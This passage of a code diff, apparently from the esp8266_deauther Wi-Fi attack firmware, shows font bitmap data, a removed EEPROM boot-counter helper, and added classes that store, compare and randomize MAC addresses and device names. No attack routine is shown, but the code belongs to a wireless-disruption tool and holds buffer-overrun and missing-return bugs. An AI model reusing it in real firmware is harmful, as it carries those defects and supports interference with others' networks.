0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162
|
||||
0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163
|
||||
0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164
|
||||
0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166
|
||||
0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
|
||||
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169
|
||||
0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170
|
||||
0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173
|
||||
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
|
||||
0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176
|
||||
0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180
|
||||
0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181
|
||||
0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185
|
||||
0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186
|
||||
0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187
|
||||
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188
|
||||
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189
|
||||
0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190
|
||||
0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196
|
||||
0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197
|
||||
0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203
|
||||
0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205
|
||||
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206
|
||||
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207
|
||||
0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209
|
||||
0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214
|
||||
0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215
|
||||
0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216
|
||||
0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217
|
||||
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218
|
||||
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219
|
||||
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220
|
||||
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222
|
||||
0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225
|
||||
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226
|
||||
0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227
|
||||
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228
|
||||
0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229
|
||||
0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233
|
||||
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234
|
||||
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237
|
||||
0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238
|
||||
0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239
|
||||
0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243
|
||||
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244
|
||||
0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245
|
||||
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247
|
||||
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250
|
||||
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251
|
||||
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252
|
||||
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253
|
||||
0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254
|
||||
0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255
|
||||
};
|
|
@ -1,62 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
// ========== Includes ========== //
|
||||
#include <EEPROM.h>
|
||||
|
||||
// ========== Boot Counter Structure ========== //
|
||||
|
||||
// Used for memory verificaiton
|
||||
#define BOOT_MAGIC_NUM 1234567890
|
||||
|
||||
typedef struct boot {
|
||||
unsigned int magic_num : 32;
|
||||
unsigned int boot_num : 8;
|
||||
} boot;
|
||||
|
||||
// ========== EEPROM Helper Class ========== //
|
||||
class EEPROMHelper {
|
||||
public:
|
||||
static void begin(const int eepromSize) {
|
||||
EEPROM.begin(eepromSize);
|
||||
}
|
||||
|
||||
static void end() {
|
||||
EEPROM.end();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void saveObject(const int address, const T& t) {
|
||||
EEPROM.put(address, t);
|
||||
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void getObject(const int address, const T& t) {
|
||||
EEPROM.get(address, t);
|
||||
}
|
||||
|
||||
static bool checkBootNum(const int address) {
|
||||
boot b;
|
||||
|
||||
EEPROM.get(address, b);
|
||||
|
||||
if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void resetBootNum(const int address) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });
|
||||
}
|
||||
|
||||
static void format(unsigned long size) {
|
||||
for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);
|
||||
EEPROM.commit();
|
||||
}
|
||||
};
|
|
@ -0,0 +1,82 @@
|
|||
#include "Mac.h"
|
||||
|
||||
Mac::Mac() {
|
||||
for (int i = 0; i < 6; i++) {
|
||||
adress[i] = 0x00;
|
||||
}
|
||||
}
|
||||
|
||||
void Mac::set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth) {
|
||||
adress[0] = first;
|
||||
adress[1] = second;
|
||||
adress[2] = third;
|
||||
adress[3] = fourth;
|
||||
adress[4] = fifth;
|
||||
adress[5] = sixth;
|
||||
}
|
||||
|
||||
void Mac::set(uint8_t* mac) {
|
||||
for(int i=0; i<6 || i<sizeof(mac); i++){
|
||||
adress[i] = mac[i];
|
||||
}
|
||||
}
|
||||
|
||||
void Mac::set(Mac adr) {
|
||||
for (int i = 0; i < 6; i++) {
|
||||
adress[i] = adr._get(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Mac::setAt(uint8_t first, int num) {
|
||||
if (num > -1 && num < 6) adress[num] = first;
|
||||
}
|
||||
|
||||
bool Mac::valid() {
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (adress[i] != 0xFF && adress[i] != 0x00) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
String Mac::toString() {
|
||||
String value = "";
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (adress[i] < 0x10) {
|
||||
value += "0";
|
||||
}
|
||||
value += String(adress[i], HEX);
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
void Mac::_print() {
|
||||
Serial.print(Mac::toString());
|
||||
}
|
||||
|
||||
void Mac::_println() {
|
||||
Serial.println(Mac::toString());
|
||||
}
|
||||
|
||||
uint8_t* Mac::_get() {
|
||||
return adress;
|
||||
}
|
||||
|
||||
uint8_t Mac::_get(int num) {
|
||||
return adress[num];
|
||||
}
|
||||
|
||||
bool Mac::compare(Mac target) {
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (adress[i] != target._get(i)) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void Mac::randomize() {
|
||||
uint8_t randomMac[6];
|
||||
getRandomVendorMac(randomMac);
|
||||
this->set(randomMac);
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
#ifndef Mac_h
|
||||
#define Mac_h
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
extern void getRandomVendorMac(uint8_t *buf);
|
||||
|
||||
class Mac
|
||||
{
|
||||
public:
|
||||
Mac();
|
||||
void set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth);
|
||||
void set(uint8_t* mac);
|
||||
void set(Mac adr);
|
||||
void setAt(uint8_t first, int num);
|
||||
String toString();
|
||||
void _print();
|
||||
void _println();
|
||||
uint8_t* _get();
|
||||
uint8_t _get(int num);
|
||||
bool compare(Mac target);
|
||||
bool valid();
|
||||
void randomize();
|
||||
private:
|
||||
uint8_t adress[6];
|
||||
};
|
||||
|
||||
#endif
|
|
@ -0,0 +1,63 @@
|
|||
#include "MacList.h"
|
||||
|
||||
MacList::MacList() {
|
||||
|
||||
}
|
||||
|
||||
bool MacList::contains(Mac adr) {
|
||||
for (int i = 0; i < num; i++) {
|
||||
if (macAdrs[i].compare(adr)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
int MacList::add(Mac adr) {
|
||||
if(num < len && adr.valid()) {
|
||||
if (!contains(adr)) {
|
||||
macAdrs[num].set(adr);
|
||||
num++;
|
||||
return num - 1;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
Mac MacList::_get(int i) {
|
||||
return macAdrs[i];
|
||||
}
|
||||
|
||||
int MacList::getNum(Mac adr) {
|
||||
for (int i = 0; i < num; i++) {
|
||||
if (macAdrs[i].compare(adr)) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void MacList::info() {
|
||||
Serial.print("Items: " + (String)num + " / " + (String)len + "\n");
|
||||
for (int i = 0; i < num; i++) {
|
||||
macAdrs[i]._print();
|
||||
}
|
||||
}
|
||||
|
||||
void MacList::_clear() {
|
||||
for (int i = 0; i < num; i++) {
|
||||
macAdrs[i].set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
|
||||
}
|
||||
num = 0;
|
||||
}
|
||||
|
||||
void MacList::remove(Mac adr) {
|
||||
for (int i = 0; i < num; i++) {
|
||||
if (macAdrs[i].compare(adr)) {
|
||||
macAdrs[i].set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void MacList::set(int num, Mac adr) {
|
||||
macAdrs[num].set(adr);
|
||||
}
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
#ifndef MacList_h
|
||||
#define MacList_h
|
||||
|
||||
#define listLen 64
|
||||
|
||||
#include "Mac.h"
|
||||
|
||||
class MacList
|
||||
{
|
||||
public:
|
||||
MacList();
|
||||
int add(Mac adr);
|
||||
void remove(Mac adr);
|
||||
void set(int num, Mac adr);
|
||||
void info();
|
||||
bool contains(Mac adr);
|
||||
int getNum(Mac adr);
|
||||
Mac _get(int i);
|
||||
void _clear();
|
||||
|
||||
int num = 0;
|
||||
Mac macAdrs[listLen];
|
||||
private:
|
||||
int len = listLen;
|
||||
|
||||
void addPacket(Mac adr);
|
||||
};
|
||||
|
||||
#endif
|
|
@ -0,0 +1,100 @@
|
|||
#include "NameList.h"
|
||||
|
||||
NameList::NameList() {
|
||||
if ((listLength * nameLength + 6) + 1 > maxSize) Serial.println("ERROR: EEPROM OVERFLOW!");
|
||||
}
|
||||
|
||||
void NameList::load() {
|
||||
len = (int)EEPROM.read(romAdr);
|
||||
if (len < 1 || len > listLength) NameList::clear();
|
||||
|
||||
int num = 0;
|
||||
Mac _client;
|
||||
|
||||
for (int i = 1; i < len * (nameLength + 6) + 1; i += nameLength + 6) {
|
||||
for (int h = 0; h < 6; h++) _client.setAt(EEPROM.read(i + h), h);
|
||||
for (int h = 0; h < nameLength; h++) names[num][h] = EEPROM.read(i + h + 6);
|
||||
clients.add(_client);
|
||||
num++;
|
||||
}
|
||||
}
|
||||
|
||||
void NameList::clear() {
|
||||
len = 0;
|
||||
clients._clear();
|
||||
EEPROM.write(romAdr, len);
|
||||
EEPROM.commit();
|
||||
Serial.println("nameList cleared");
|
||||
}
|
||||
|
||||
void NameList::save() {
|
||||
EEPROM.write(romAdr, len);
|
||||
int num = 0;
|
||||
for (int i = 1; i < len * (nameLength + 6) + 1; i += nameLength + 6) {
|
||||
for (int h = 0; h < 6; h++) EEPROM.write(i + h, clients._get(num)._get(h));
|
||||
for (int h = 0; h < nameLength; h++) EEPROM.write(i + h + 6, names[num][h]);
|
||||
num++;
|
||||
}
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
void NameList::add(Mac client, String name) {
|
||||
if (clients.add(client) >= 0) len++;
|
||||
else if (clients.getNum(client) < 0) Serial.println("WARNING: name list is full!");
|
||||
uint8_t _buf[nameLength];
|
||||
name.getBytes(_buf, nameLength);
|
||||
for (int i = 0; i < nameLength; i++) {
|
||||
if (i < name.length()) names[clients.getNum(client)][i] = _buf[i];
|
||||
else names[clients.getNum(client)][i] = 0x00;
|
||||
}
|
||||
NameList::save();
|
||||
}
|
||||
|
||||
String NameList::get(int num) {
|
||||
String returnStr;
|
||||
if (num >= 0) {
|
||||
for (int h = 0; h < nameLength; h++) {
|
||||
if (names[num][h] != 0x00) returnStr += (char)names[num][h];
|
||||
}
|
||||
returnStr.trim();
|
||||
return returnStr;
|
||||
}
|
||||
}
|
||||
|
||||
Mac NameList::getMac(int num) {
|
||||
return clients._get(num);
|
||||
}
|
||||
|
||||
String NameList::getByMac(Mac client) {
|
||||
String returnStr;
|
||||
int clientNum = clients.getNum(client);
|
||||
if (clientNum > -1) {
|
||||
for (int h = 0; h < nameLength; h++) {
|
||||
if (names[clientNum][h] != 0x00) returnStr += (char)names[clientNum][h];
|
||||
}
|
||||
}
|
||||
return returnStr;
|
||||
}
|
||||
|
||||
int NameList::getNumByMac(Mac client) {
|
||||
return clients.getNum(client);
|
||||
}
|
||||
|
||||
void NameList::remove(int num) {
|
||||
for (int i = num; i < len - 1; i++) {
|
||||
clients.set(num, clients._get(num + 1));
|
||||
for (int h = 0; h < nameLength; h++) names[num][h] = names[num + 1][h];
|
||||
}
|
||||
clients.remove(clients._get(len));
|
||||
clients.num--;
|
||||
len--;
|
||||
save();
|
||||
}
|
||||
|
||||
void NameList::edit(int num, String name) {
|
||||
for (int i = 0; i < nameLength; i++) {
|
||||
if (i < name.length()) names[num][i] = name[i];
|
||||
else names[num][i] = 0x00;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
#ifndef NameList_h
|
||||
#define NameList_h
|
||||
|
||||
#include <EEPROM.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
|
||||
#define romAdr 0
|
||||
#define maxSize 1024
|
||||
#define listLength 50
|
||||
#define nameLength 18
|
||||
|
||||
/*
|
||||
The NameList holds and saves all your custom device names in the EEPROM.
|
||||
You can modify the length above, but be careful the EEPROM size is limited.
|
||||
You may have to call nameList.clear() when uploading for the first time.
|
||||
*/
|
||||
extern const bool debug;
|
||||
|
||||
class NameList
|
||||
{
|
||||
public:
|
||||
NameList();
|
||||
void load();
|
||||
void clear();
|
||||
void add(Mac client, String name);
|
||||
void edit(int num, String name);
|
||||
String get(int num);
|
||||
String getByMac(Mac client);
|
||||
int getNumByMac(Mac client);
|
||||
